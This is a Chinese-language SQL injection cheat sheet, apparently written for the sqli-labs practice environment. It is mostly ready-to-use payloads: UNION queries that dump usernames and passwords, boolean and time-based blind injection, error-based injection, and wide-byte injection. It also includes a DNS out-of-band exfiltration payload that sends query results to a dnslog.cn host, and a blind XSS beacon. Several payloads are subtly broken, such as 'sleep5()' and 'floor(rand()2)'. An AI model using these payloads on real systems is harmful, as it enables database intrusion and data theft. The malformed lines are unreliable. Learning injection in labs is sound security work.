sql注入

SQL注入定义：

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。

注入类型：

当输入参数为字符串时，称为字符型。数字型与字符型注入最大的区别在于：数字型不需要单引号闭合，而字符串类型一般要使用单引号来闭合。

判断数据库类型：

判断是否是 Mysql数据库
' and exists(select*from information_schema.tables) --+

判断是否是 access数据库
' and exists(select*from msysobjects) --+

判断是否是 Sqlserver数据库
' and exists(select*from sysobjects) --+

判断是否是Oracle数据库
' and (select count(*) from dual)>0 --+

判断注入点

数字型：id=2-1(在URL编码中+代表空格，可能会造成混淆)

字符型：' 、')、 '))、 "、 ")、 "))

注释符：--空格、--+、/**/、#

UNION注入：

union联合查询适用于有显示列的注入，可以通过order by来判断当前表的列数

因为页面只显示一行数据，所以union注入需要将前面的条件否定(把参数变为负)

union注入可能需要用到的一些信息：

version() ：数据库的版本

database() :当前所在的数据库

@@basedir : 数据库的安装目录

@@datadir ：数据库文件的存放目录

user() ：数据库的用户

current_user() : 当前用户名

system_user() : 系统用户名

session_user() :连接到数据库的用户名

MYSQL5.0以下没有information_schema这个系统表，无法列表名等，只能暴力跑表名。,5.0以下是多用户单操作，5.0以上是多用户多操做。

获得所有的数据库

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

获得所有的表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+

获得指定数据库所有的表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

获得所有的列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns --+

获得指定数据库指定表的列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

获取具体字段

?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+

获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据，因为处于当前数据库下的话不能查询其他数据库内的数据)

?id=-1' union select 1,group_concat(password),3 from users --+

盲注：

**判断是否存在延时注入：**

http://127.0.0.1/mysql/Less-1/?id=1' and sleep(5) --+

http://127.0.0.1/mysql/Less-1/?id=1' and benchmark(100000000,md5(1)) --+

**判断当前数据库**

布尔盲注

数据库database()的长度大于10

'and (length(database()))>10 --+

数据库database()的第一个字符ascii值大于100

' and ascii(substr(database(),1,1))>100 --+

时间盲注

数据库database()的长度大于10

' and if((length(database())>10),1,sleep(5)) --+

数据库的第一个字符的ascii值小于100

' and if((ascii(substring(database(),1,1)))<100,1,sleep(5)) --+

**判断当前数据库中的表**

布尔盲注

判断当前数据库中的表的个数是否大于5

' and (select count(table_name) from information_schema.tables where table_schema=database())>5 --+
判断第一个表的长度

' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+

判断第一个表的第一个字符的ascii值

' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+

时间盲注

判断当前数据库中的表的个数是否大于5

' and if((select count(table_name) from information_schema.tables where table_schema=database())>5,1,sleep(5)) --+

判断第一个表的长度

' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6,1,sleep(5)) --+

判断第一个表的第一个字符的ascii值

' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,1,sleep(5)) --+

**判断表中的字段**

布尔盲注

如果已经证实了存在users表，那么猜测是否存在username字段

' and exists(select username from users) --+

判断表中字段的个数

' and (select count(column_name) from information_schema.columns where table_name='users')>5 --+

判断第一个字段的长度

' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+

判断第一个字段第一个字符的ascii值

' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+

时间盲注

如果已经证实了存在users表，那么猜测是否存在username字段

' and if(exists(select username from users),1,sleep(5)) --+

判断表中字段的个数

' and if((select count(column_name) from information_schema.columns where table_name='users')>5,1,sleep(5)) --+

判断第一个字段的长度

' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5,1,sleep(5)) --+

判断第一个字段第一个字符的ascii值

' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100,1,sleep(5)) --+

**判断字段中的数据**

布尔盲注

判断第一个数据的长度

' and length(select id from users limit 0,1)>5 --+

判断第一个数据第一个字符的ascii值

' and ascii(substr((select id from users limit 0,1),1,1))>100 --+

时间盲注

判断第一个数据的长度

' and if(length(select id from users limit 0,1)>5,1,sleep5()) --+

判断第一个数据第一个字符的ascii值

' and if(ascii(substr((select id from users limit 0,1),1,1))>100,1,sleep(5)) --+

使用正则表达式进行盲注

判断第一个表名的第一个字符是否是a-z中的字符

http://127.0.0.1/mysql/Less-2/?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[1]' LIMIT 0,1) --+

然后依据页面回显判断是否正确，最后得到第一个字符为e

然后判断第一个表名的第二个字符是否是a-z中的字符

http://127.0.0.1/mysql/Less-2/?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^e[a-z]') --+

依次猜第三个第四个字符。。。

DNS外带注入

在实际测试一些网站的安全性问题的时候，有些测试命令执行后是无回显的，可以写脚本来进行盲注，但有些网站会封禁掉ip地址，这样可以通过设置ip代理池解决，但是遇到盲注往往效率很低，所以产生了DNSlog注入。

MySQL通过DNSlog盲注需要用到load_file()函数，该函数不仅能加载本地文件，同时也能对URL发起请求。因为需要使用load_file()函数，所以需要root权限，并且secure_file_priv需要为空

Payload：

(SELECT LOAD_FILE(CONCAT('\\\\',(要查询的语句),'.xx.xx.xx\\abc')))

执行的语句：

刷新dns平台：

因为Linux没有UNC路径这个东西，所以当MySQL处于Linux系统中的时候，是不能使用这种方式外带数据的，这也就解释了为什么CONCAT()函数拼接了4个\了，因为转义的原因，4个就变\成了2个\，目的就是利用UNC路径。

首先获取一个dnslog地址，然后拼接到sql语句中。

当数据发送后，dnsLog被记录下来。

也可以在命令之中用HEX编码。Hex编码的目的就是减少干扰，因为很多事数据库字段的值可能是有特殊符号的，这些特殊符号拼接在域名里无法做dns查询，因为域名是有一定的规范，有些特殊符号不能带入。

http://127.0.0.1/mysql/Less-1/?id=1' and (select load_file(concat('\\',hex((select table_name from information_schema.tables where table_schema=database() limit 1)),'.x14y65.dnslog.cn\abc')))%23

解码后得到第一个表名

当然通过DNSlog也可以盲打xss

payload：

<img src=http://rep964.dnslog.cn>

DNSLog平台收到的DNS查询，即可证明存在XSS

报错注入：

floor报错原理

需要用到count()，floor(rand()2)，group by这些方法，来看一下都有什么用。

floor作用是向下取整

rand()表示0-1随机数，rand()*2就相当于0-2的随机数，每次运算结果都不同

先查询users表中数据

floor(rand(0)*2) 每次的结果是随机的（users表中有13条数据）

而当提供了参数0后，floor(rand(0)*2)的每次结果都相同（users表中有13条数据）

count(*)表示字段数

group by表示以谁来排序，比如

下面这个依照group by生成的相当于一个新表，先扫描password字段，如果这个字段不存在就插入，然后把count(*)置为1。像password为admin2有两个用户，第二个用户插入的时候已经有admin2这个字段了，也就不会重新生成一个新的admin2字段，而是在count(*)的基础上加1，直到依照password扫描完整个表，就形成了以password排序的新表了。

关键点：

1.group by后面的主键是不能重复的，这是floor报错的关键点

2.在执行group by语句时，group by 后面的字段会被运算两次

第一次运算：group by拿到字段后在表内对比，如果后面字段已经存在，直接插入，不进行二次运算

第二次运算：如果order by后面的字段不存在，则进行二次运算，由于ran()的随机性，第二次的运算和第一次可能不一样，这时候插入可能会导致错误的产生。

由于 select floor(rand(0)*2) from users每次结果都相同比较好比较，所以就拿这个查询语句来做演示

select count(*),(concat(floor(rand(0)*2),'@',(select version())))x from users group by x

因为users有13个字段，(floor(rand(0)*2)由上面的图也已经确定了为0,1,1,0,1,1,0,0,1,1,1,0,1。

查询的第一项：

floor(rand(0)*2)=0，结果为0@5.7.26,因为表中还没有这个值，所以会直接插入，count(*)置为1
但是依照上面第2条关键点，在插入前会进行两次计算第二次运算的时候(floor(rand(0)*2)已经变为1了，所以这张表会先变为

                             x                             count(*)
                       1@5.7.26                                1

查询的第二项：

因为第一个插入进行了两次运算，所以floor(rand(0)*2)=1，结果就为1@5.7.26，因为表中x已经有了 1@5.7.26这个字段，依照上面的第2个关键点，直接插入，不进行第二次运算。所以这张表会再变为

                             x                             count(*)
                       1@5.7.26                                2

查询的第三项：

前面两次进行了三次运算，这次floor(rand(0)*2)=0，结果为0@5.7.26，表中没有这个字段，会直接插入，count(*)置为1

但是依照上面第2条关键点，在插入前会进行两次计算第二次运算的时候(floor(rand(0)*2)已经变为1，相应的字段就变为了1@5.7.26。这个时候问题就来了：

表中已经有以1@5.7.26为主键的数据了，插入失败，然后就报错了。

payload:

select count(*),(concat(floor(rand(0)*2),'@',(select version())))x from users group by x

跟前面的查询语句也是一个道理，只是floor(rand()*2)没有floor(rand(0)*2)稳定

ExtractValue报错原理

extractvalue()是对XML文档进行查询的函数

语法为：extractvalue(目标xml文档，xml路径)

第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /aa/bb/cc/dd/a这种路径或者纯英文纯数字格式，但是写入其他格式就会报错，并且会返回写入的非法格式内容，

所以可以把想要得到的数据写到xml路径中从而返回该数据。

可以看到只要路径满足条件无论结果是否有值都不会报错，而这里version()已经报错了，说明路径也不能存在点号。

可以以不是xml格式的语法的内容开头，然后报错，但是会显示无法识别的内容是什么，这样就达到了目的。

extractvalue()能查询字符串的最大长度为32，就是说如果我们想要的结果超过32，就需要用substring()函数截取，一次查看32位:

payload:

select username from users where id=1 and (extractvalue('anything',concat('#',substring(hex((select database())),1,32)))

UpdateXml报错原理

updatexml()函数跟extractvalue()类似，是XML文档进行查询的函数。

语法为：updatexml(目标xml文档，xml路径，更新的内容)

报错方式也类似，满足/aa/bb/cc,全数字，全英文

payload:

select username from users where id=1 and (updatexml('anything',concat('+',(select database())),'anything'));

利用：

就用爆当前数据库做演示，其他的语句大同小异

floor报错注入：

' and (select 1 from (select count(),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)b) --+

ExtractValue报错注入：

' and extractvalue(1, concat(0x7e, (select database()),0x7e))--+

能查询字符串的最大长度为32，如果长度大于32位分段读取

' and (extractvalue('anything',concat('#',substring(hex((select database())),1,32))))--+

UpdateXml报错注入：

' and 1=(updatexml(1,concat(0x3a,(select database()),0x3a),1)) --+

宽字节注入：

Mysql在使用GBK编码时，会认为两个字符为一个汉字。宽字节注入就是发生在PHP向Mysql请求时字符集使用了GBK编码。

关于宽字节注入的几个函数：

addslashes() ：预定义字符之前添加反斜杠 \ 。预定义字符：单引号 ' 、双引号 " 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义，但是 \ 并不会插入到数据库中。这个和魔术引号的作用完全相同。所以，如果魔术引号打开了，就不要使用 addslashes() 函数了。

mysql_real_escape_string() ：这个函数用来转义sql语句中的特殊符号x00 、\n 、\r 、\ 、‘ 、“ 、x1a。

magic_quotes_gpc（魔术引号）：当打开时，所有的单引号’ 、双引号" 、反斜杠\ 和 NULL 字符都会被自动加上一个反斜线来进行转义，

这三个函数都会把'转义，会转义成 \'。

当对用户输入的id用 addslashes() 函数进行了处理，并执行id=1'--+时，MySQL实际执行的语句是id='1\'--+